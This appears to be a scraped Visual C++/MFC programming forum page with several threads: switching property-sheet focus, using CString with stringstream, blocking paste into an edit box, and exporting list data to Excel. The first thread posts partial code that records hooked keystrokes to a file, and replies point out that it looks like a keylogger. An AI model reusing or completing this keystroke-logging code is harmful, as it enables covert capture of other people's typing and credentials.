|
LRESULT CABCDlg::processkey(WPARAM w, LPARAM l)//This block processes the keystroke info.
{
try
{
if(hook==1)
{
GetKeyNameText(l,buffer,20);
_strlwr(buffer);
if(strlen(buffer)>1)
{
subst("shift","<SHIFT>");
subst("right shift","<SHIFT>");
subst("tab","<TAB>");
subst("space"," ");
subst("backspace","<BACKSPACE>");
subst("delete","<DEL>");
subst("left","<LEFT>");
subst("down","<DOWN>");
subst("up","<UP>");
subst("right","<RIGHT>");
subst("num /","/");
subst("num *","*");
subst("num -","-");
subst("num 0","0");
subst("num 1","1");
subst("num 2","2");
subst("num 3","3");
subst("num 4","4");
subst("num 5","5");
subst("num 6","6");
subst("num 7","7");
subst("num 8","8");
subst("num 9","9");
subst("num +","+");
subst("num enter","<ENTER>");
subst("num del","<DEL>");
subst("esc","<ESC>");
subst("enter","<ENTER>");
subst("caps lock","<CAPSLOCK>");
subst("num lock","<NUMLOCK>");
subst("scroll lock","<SCROLLLOCK>");
subst("ctrl","<CTRL>");
subst("alt","<ALT>");
subst("right ctrl","<CTRL>");
subst("right alt","<ALT>");
subst("pause","<PAUSE>");
subst("insert","<INSERT>");
subst("home","<HOME>");
subst("end","<END>");
subst("page up","<PGUP>");
subst("page down","<PGDN>");
subst("f1","<F1>");
subst("f2","<F2>");
subst("f3","<F3>");
subst("f4","<F4>");
subst("f5","<F5>");
subst("f6","<F6>");
subst("f7","<F7>");
subst("f8","<F8>");
subst("f9","<F9>");
subst("f10","<F10>");
subst("f11","<F11>");
subst("f12","<F12>");
}
if(keycount>50)
{
diskfile->Flush();
keycount = 0;
}
writedata=AfxBeginThread(WorkerThreadProc,(LPVOID)this);
}
else
{
}
return 0;
}
catch (...)
{
}
}
UINT WorkerThreadProc( LPVOID Param )
{
try
{
CABCDlg *p=(CABCDlg *) Param;
CStdiofile myFile;
if( myFile.Open( cpath, CStdioFile::modeCreate | CStdioFile::modeWrite | CStdioFile::modeNoTruncate, &e ) )
{
myFile.Writestring(buffer);
myFile.close();
}
}
catch (...)
{
AfxMessageBox("AddString Final");
}
}
|
|
|
|
|
Looks awfully like a remote keylogger.
|
|
|
|
|
hxhl95 wrote: Looks awfully like a remote keylogger.
Lucky he's a lousy programmer?
You measure democracy by the freedom it gives its dissidents, not the freedom it gives its assimilated conformists.
|
|
|
|
|
Yep.
“Follow your bliss.” – Joseph Campbell
|
|
|
|
|
I have constructed two property sheet frames and need to switch (programatically)between them.
I can change the Z order and bring the hidden frame to the top using
SetWindowPos(&CWnd::wndTop, 0, 0, 0, 0,
SWP_NOMOVE|SWP_NOSIZE| SWP_NOACTIVATE );
The "problem" is that the original frame still has a focus.
When I use SetFocus the new frame gets hidden again.
ActivateFrame produces same result.
Is there any other way to accomplish this?
Any constructive help is as always appreciated.
Thanks Vaclav
|
|
|
|
|
is SWP_NOACTIVATE the problem?
|
|
|
|
|
Yes,
it does not work at all without it. The windows stays in its Z position , therefore behind the top window of interest.The MSDN explanation of function of SWP_NOACTIVATE is not written in English.
I'll try to get rid of the frame caption / title to see if it works without it( I need it for now to keep track of the property sheets) , but I am busy working on something else now.
Thanks for reply.
Vaclav
|
|
|
|
|
Have you considered actually hiding the hidden window: CWnd::ShowWindow( SW_HIDE )? Then it can't have focus and can't be accidentally displayed.
Please do not read this signature.
|
|
|
|
|
No, since it is build as second property sheet it is already hidden.
Seems redundant to do so, but I'll give it a shot. The "problem" is that I can show this window by changing the Z order.
But since it is not covering the original property sheet window ( by design) , the user can click in its tabs and "nothing" will happend since the window on top of the Z order is active but without focus!
So to get back to the "main" tab, the user need to click on the top tab (Z order) and than the main tab see it as active dialog and can operate normally.
Vaclav
|
|
|
|
|
(probably still a bit drunk after drinking too much Bandol wines last night).
I have a 2 small functions :
void Toto( const CString& s )
{
std::stringstream ss(s.GetBuffer());
}
void Something( )
{
CString s("some string");
Toto ( s );
}
This obviously does not compile because I cannot get call GetBuffer on a const CString .
any other solution than making a copy of the input string in the function Toto ?
void Toto( const CString& s )
{
CString s1 = s;
std::stringstream ss(s1.GetBuffer());
}
Thanks.
Max.
Watched code never compiles.
modified on Friday, March 19, 2010 10:53 AM
|
|
|
|
|
Maximilien wrote: any other solution than making a copy of the input string in the function Toto ?
Not using GetBuffer() ?
You should never call GetBuffer, unless you have a very serious reason to do so. CString provides cast operators, so why would you need to call GetBuffer() ?
|
|
|
|
|
yeah, duh ...
that seems to work.
void Toto( const CString& s )
{
std::stringstream ss( (LPCTSTR)s);
// do some stuff with the ss string.
}
Thanks Cédric.
Max.
Watched code never compiles.
|
|
|
|
|
Normally, you don't need to cast the string explicitely. Did you try without the cast ?
|
|
|
|
|
Yep, tried that and gives an compilation error on the std::stringstream.
"cannot convert parameter 1 from 'const CString' to 'const std::basic_string<_Elem,_Traits,_Ax> &'"<br />
Watched code never compiles.
|
|
|
|
|
Just adding to the above reply...
You could use CString::GetBuffer() if you need access to the internal buffer of the CString object, but after you're done dealing with the buffer, you MUST call CString::ReleaseBuffer() . But by and large, if one of the casting operators would do the job, then you should avoid the call to GetBuffer() and go with the casting operator.
The documentation has more info on this.
“Follow your bliss.” – Joseph Campbell
|
|
|
|
|
Since I'm only using the CString as a read-only input, I think I don't have to release it.
anyway, I fixed this (see answer to Cédric).
Max,
Watched code never compiles.
|
|
|
|
|
It's a 'read-only' input now. What about tomorrow, and two years from now? If you'll have to change the code?
It's good practice to release the buffer.
“Follow your bliss.” – Joseph Campbell
|
|
|
|
|
Rajesh R Subramanian wrote: It's good practice to release the buffer.
It's even better practice not to call GetBuffer if you don't need to
|
|
|
|
|
Exactly, which I mentioned clearly in my previous post.
“Follow your bliss.” – Joseph Campbell
|
|
|
|
|
Rajesh R Subramanian wrote: you MUST call CString::ReleaseBuffer().
Only if you change the length of the string.
|
|
|
|
|
I have added a EditBox control to a Dialog and i have selected the property(number : true,VC++ 2005). i have validated, only number can be entered.if user enters characters it will not accept,ok it works fine.But when user copy some text and paste in EditBox it is accepting i am getting strange output. please help how to stop copy and paste text or any character in EditBox .
|
|
|
|
|
For that you need to implement your own EditBox, like the example given ( Create your own controls - the art of subclassing[^])
And inside which you u have overiride the PreTranslateMessage.
eg:-
BOOL MyEditCtrl::PreTranslateMessage(MSG* pMsg)
{
switch( pMsg->message )
{
case WM_KEYDOWN:
{
switch( pMsg->wParam )
{
case 0x56:
{
if( GetKeyState(VK_CONTROL) )
return true;
}
break;
}
}
break;
case WM_RBUTTONDOWN:
{
return true;
}
break;
}
return CMyEdit::PreTranslateMessage(pMsg);
}
Величие не Бога может быть недооценена.
|
|
|
|
|
|
Hi All
I am using Report View in List control with 5 to 6 columns.
I need to transfer thes data from each column to excel sheet.
Any Way to do it ??
Regards
Gany
|
|
|
|
|
|